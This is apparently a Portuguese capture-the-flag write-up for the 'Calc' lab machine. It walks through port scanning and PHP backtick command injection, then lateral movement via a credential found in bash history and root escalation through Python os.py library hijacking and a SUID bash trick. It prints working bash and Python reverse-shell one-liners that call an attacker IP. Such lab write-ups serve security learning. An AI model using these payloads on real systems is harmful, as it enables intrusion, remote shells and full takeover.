Published on

Calc Writeup

Authors
logo

Plataforma: Hacking Club

Dificuldade: Easy

Nome: Calc


Port Scanning

nmap -sV -sC -p- -v $IP --open

PORT    STATE SERVICE VERSION
22/tcp  open  ssh     OpenSSH 7.4 (protocol 2.0)
| ssh-hostkey:
|   2048 b6:e6:c1:f0:e4:01:a0:e5:c0:fb:84:e1:4f:ed:62:c3 (RSA)
|   256 f5:6d:d7:13:c7:3a:c4:63:a1:38:f0:f3:65:83:82:3e (ECDSA)
|_  256 ca:f8:f2:bf:b8:25:08:77:39:0c:c3:53:0f:cc:9f:40 (ED25519)
80/tcp  open  http    Apache httpd 2.4.46 (() PHP/7.4.19)
| http-methods:
|_  Supported Methods: GET HEAD POST OPTIONS
|_http-title: Calc
|_http-server-header: Apache/2.4.46 () PHP/7.4.19
111/tcp open  rpcbind 2-4 (RPC #100000)
| rpcinfo:
|   program version    port/proto  service
|   100000  2,3,4        111/tcp   rpcbind
|   100000  2,3,4        111/udp   rpcbind
|   100000  3,4          111/tcp6  rpcbind
|_  100000  3,4          111/udp6  rpcbind

Somente as portas 22 (SSH), 80 (HTTP) e 111 (RCP) estão abertas.

http://172.16.7.88

calc

Aplicação se trata de uma calculadora online.

calc 1

Caputrei a requisição com o Burp.

calc 2

Testando command injection

Por se tratar de uma aplicação em php, a gente pode testar passar os famosos ‘backticks’, pois o php entende que deve executar o que estiver entre ```` .

Nesse caso passei o id no parâmetro calc.

calc 3

Foot Hold

bash -c 'exec bash -i &>/dev/tcp/10.0.31.150/1337 <&1'

crtl+u pra encodar no burp.

calc 4
calc 5

Lateral Movement

Credencial do usuário sysadmim encontrada no histórico do bash.

calc 6

sysadmin:55371a2307eb5fee50f54dc93224e96f

calc 7

Privillege Escalation

sudo -l

calc 8

Podemos executar o calc.py como root; no entanto, não temos privilégios de escrita no script.

calc 9

Olhando o script, podemos ver que ele importa o modulo os do python, que é o modulo responsável pela execução de comandos do sistema.

calc 10

Pra fazer o library hijacking a gente precisa ter permissão de modificar a biblioteca do os.py, que o caso fica no diretório: /usr/lib64/python3.7/os.py

Nesse caso temos permissão de escrita.

calc 11

Com isso, podemos adicionar uma reverse-shell em python de dentro da lib.

Basta colocar a reverse-shell na ultima linha do arquivo:

import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("10.0.31.150",8888));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);import pty; pty.spawn("/bin/bash")

calc 12

Por fim, só executar o comando: sudo /usr/bin/python3 /opt/pycalc/calc.py

calc 13

Privillege Escalation 2 (Unintended)

Olhando o diretório em que o arquivo pertence, podemos verificar que temos permissão de escrita nele diretamente.

calc 14

Ou seja, podemos simplesmente deletar o calc.py e criar outro.

import os

os.system("chmod u+s /bin/bash")
calc 15
calc 16